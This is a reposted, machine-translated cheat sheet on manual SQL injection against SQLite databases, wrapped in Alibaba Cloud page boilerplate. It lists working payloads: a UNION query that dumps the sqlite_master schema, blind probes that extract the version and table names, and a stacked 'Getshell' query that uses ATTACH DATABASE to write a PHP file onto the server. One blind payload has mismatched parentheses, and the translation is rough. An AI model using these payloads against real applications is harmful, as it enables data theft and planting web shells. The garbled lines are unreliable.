A summary of SQLite manual injection method

Source: Internet
Author: User
Tags sqlite

SQLite website Download: www.sqlite.org/download.html

SQLite management tool: Http://www.yunqa.de/delphi/products/sqlitespy/index

Sqlite_master hidden table, the specific contents are as follows:

Field: Type/name/tbl_name/rootpage/sql

SQLite Injection test:

1. Union Select query

SELECT * FROM test where ID =1 and 1=2 Union select Name,sql from Sqlite_master

2. Blind note

SELECT * FROM test where ID =1 Union select 1,length (Sqlite_version ()) =6//Get SQLite version bit number

SELECT * FROM test where ID =1 and substr (Sqlite_version (), 1, 1) = ' 3 '//Get SQLite version first 3

SELECT * FROM test where ID =1 and substr ((select name from Sqlite_master where type= ' table ' limit 0,1) = ' T ' (case sensitive, has difference)//Get SQLite table name first bit is T

3, Getshell

SELECT * FROM test where id = 1; ATTACH DATABASE ' c:\\sqlite\\xiaozi.php ' as PWN; CREATE TABLE pwn.exp (Dataz text); INSERT into Pwn.exp (Dataz) VALUES (' <?php phpinfo ();?> '); --

Reference Links:

Win7 SQLite installation configuration and how to use: http://www.codeceo.com/article/win7-sqlite-usage.html

Windows under Install Configuration SQLite and tutorials for use: http://www.weste.net/2014/10-08/99347.html

A summary of SQLite manual injection method

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.